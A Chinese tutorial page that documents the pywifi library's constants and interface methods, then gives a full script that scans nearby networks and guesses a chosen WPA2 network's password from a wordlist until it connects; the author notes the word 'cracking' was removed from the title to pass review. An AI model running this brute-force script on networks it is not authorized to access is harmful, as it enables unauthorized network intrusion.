python中pywifi的具体使用

 更新时间:2023年03月06日 09:14:59   作者:一只小余  
本文主要介绍了python中pywifi的具体使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

写在前面

无线AP(Access Point):即无线接入点

python的wifi管理模块叫pywifi

安装

pip install pywifi

pywifi

常量

接口状态
Interface.status()将返回以下状态代码之一。

const.IFACE_DISCONNECTED # 无连接
const.IFACE_SCANNING # 扫描中
const.IFACE_INACTIVE # 激活
const.IFACE_CONNECTING    # 连接中
const.IFACE_CONNECTED    # 连接

身份验证算法

身份验证算法应辅助到配置文件中。 在正常情况下,几乎所有AP都使用开放算法。

const.AUTH_OPEN    # 授权打开
const.AUTH_SHARED # 身份验证共享

密钥管理类型

密钥管理类型应分配给配置文件。

对于普通 AP,如果

AP 不是安全设置,请将配置文件 AKM 设置为 。AKM_TYPE_NONE
AP 处于 WPA 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPAPSK
AP 处于 WPA2 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPA2PSK 
AKM_TYPE_WPA并由企业 AP 使用。AKM_TYPE_WPA2

const.AKM_TYPE_NONE
const.AKM_TYPE_WPA
const.AKM_TYPE_WPAPSK
const.AKM_TYPE_WPA2
const.AKM_TYPE_WPA2PSK # 一般用这个

密码类型
如果 akm 不是,则应将密码类型设置为配置文件。 您可以参考要连接的AP的设置。AKM_TYPE_NONE

const.CIPHER_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP

网络配置文件
配置文件是我们要连接到的AP的设置。 配置文件的字段:

  • ssid- AP 的 ssid/wifi的名字
  • auth- AP 的身份验证算法。
  • akm- AP 的密钥管理类型。
  • cipher- AP 的密码类型。
  • key (最佳) - AP 的键。 如果密码不是 ,则应设置此项。CIPHER_TYPE_NONE

接口

接口是指我们用来执行的 Wi-Fi 接口 Wi-Fi 操作(例如扫描、连接、断开连接等)。

首先:获取接口信息
通常,平台中将只有一个Wi-Fi接口。 因此,使用索引 0 00 获取 Wi-Fi 接口。

import pywifi

wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]

Interface.name()
获取 Wi-Fi 接口的名称。

Interface.scan()
触发接口扫描 APs。

Interface.scan_results()
获取上一次触发扫描的结果。 将返回配置文件列表。
注意:因为每个 Wi-Fi 接口的扫描时间都是不同的。 2~8秒后拨打更安全。

Interface.add_network_profile(profile)
添加 AP 配置文件以便稍后连接。

Interface.remove_all_network_profiles()
卸下所有AP配置文件。

Interface.network_profiles()
通过返回配置文件列表获取所有已保存的AP配置文件。

Interface.connect(profile)
通过给定配置文件连接到指定的 AP。注意。作为当前的设计,应该是 之前调用的被调用。add_network_profile(profile)connect(profile)

Interface.disconnect()
断开当前 AP 连接。

Interface.status()
获取当前状态的状态。

wifi连接代码

pywifi原理就是操纵网卡,一个一个的试密码,直到密码正确,这时电脑也会连上这个wifi。
效率极低,就用来练手就行
害,加上2个字会过不了审核我不理解。这东西又不会真的拿去用,连接一次就得2秒,跑完字典不知道要多久去了。

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime


# 输入wifi名称
def wifi_scan():
    print("开始扫描wifi,请等待...")
    iface.scan()  # 扫描
    time.sleep(3)
    results = iface.scan_results()  # 扫描结果
    a = set()
    for data in results:  # 每一个wifi创建一个对象
        if data.ssid not in a:
            a.add(data.ssid)
            print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))


# 测试连接,返回链接结果
def wifi_connect(pwd):
    # 断开所有连接
    iface.disconnect()
    time.sleep(0.5)

    # 测试网卡是否属于断开状态
    wifi_status = iface.status()
    if wifi_status == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = name
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 设定连接文件
        iface.add_network_profile(profile)
        # 调用密码
        profile.key = pwd

        # 删除所有连接过的wifi文件
        iface.remove_all_network_profiles()

        # 设定新的连接文件
        tep_profile = iface.add_network_profile(profile)
        iface.connect(tep_profile)

        # wifi连接时间
        time.sleep(1)
        if iface.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

    else:
        print("已有wifi连接")


def readPassword():
    print("开始破解:")
    # 密码字典路径"密码本路径"
    path = "路径"
    i = 0
    # 打开密码字典逐行读取
    with open(path, 'r') as f:
        for line in f:
            pwd = line.strip('\n')
            if 8 < len(pwd) < 16:
                # 一行一行读取
                i += 1
                if i % 10 == 0:
                    print("正在进行第{}次尝试".format(i))
                b = wifi_connect(pwd)
                if b:
                    print("密码已破解: ", pwd)
                    print("WiFi已自动连接!!!")
                    break


# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个wifi接口
iface = wifi.interfaces()[0]
# 输出全部wifi
wifi_scan()
# 输入wifi名称
name = input("请输入wifi名称:").encode('utf-8').decode('raw_unicode_escape')
start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end - start))

到此这篇关于python中pywifi的具体使用的文章就介绍到这了,更多相关python pywifi内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Python 异步等待任务集合

    Python 异步等待任务集合

    这篇文章主要为大家介绍了Python 异步等待任务集合,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-03-03
  • MacOS安装python报错"zsh: command not found:python"的解决方法

    MacOS安装python报错"zsh: command not found:python"的

    这篇文章主要给大家介绍了关于MacOS安装python报错"zsh: command not found:python"的解决方法,文中将解决的办法介绍的非常详细,需要的朋友可以参考下
    2023-02-02
  • Python爬虫基本库request的基本使用

    Python爬虫基本库request的基本使用

    这篇文章主要介绍了Python爬虫基本库request的基本使用,urllib库使用繁琐,比如处理网页验证和Cookies时,需要编写Opener和Handler来处理。为了更加方便的实现这些操作,就有了更为强大的requests库,需要的朋友可以参考下
    2023-07-07
  • python实现图片转字符小工具

    python实现图片转字符小工具

    这篇文章主要为大家详细介绍了python实现图片转字符小工具,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2019-04-04
  • Pyinstaller打包报错小结

    Pyinstaller打包报错小结

    本文主要介绍了Pyinstaller打包报错小结,详细的介绍了5种错误的解决方法,文中通过示例代码介绍的非常详细,需要的朋友们下面随着小编来一起学习学习吧
    2024-02-02
  • python完成FizzBuzzWhizz问题(拉勾网面试题)示例

    python完成FizzBuzzWhizz问题(拉勾网面试题)示例

    这篇文章主要介绍了python完成FizzBuzzWhizz问题(拉勾网面试题)示例,需要的朋友可以参考下
    2014-05-05
  • python从PDF中提取数据的示例

    python从PDF中提取数据的示例

    这篇文章主要介绍了python从PDF中提取数据的示例,帮助大家提高办公效率,感兴趣的朋友可以了解下
    2020-10-10
  • Python中字符串的基本使用详解

    Python中字符串的基本使用详解

    Python要求字符串必须使用引号括起来,使用单引号也行,使用双引号也行,只要两边的引号能配对即可,这篇文章主要给大家介绍了关于Python中字符串的基本使用,需要的朋友可以参考下
    2021-12-12
  • Python密码学Caesar Cipher凯撒密码算法教程

    Python密码学Caesar Cipher凯撒密码算法教程

    这篇文章主要为大家介绍了Python密码学Caesar Cipher凯撒密码算法教程,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2022-05-05
  • 解析Python中的__getitem__专有方法

    解析Python中的__getitem__专有方法

    __getitem__是Python双下划线包围的special method之一,这里我们就来解析Python中的__getitem__专有方法的使用,需要的朋友可以参考下:
    2016-06-06

最新评论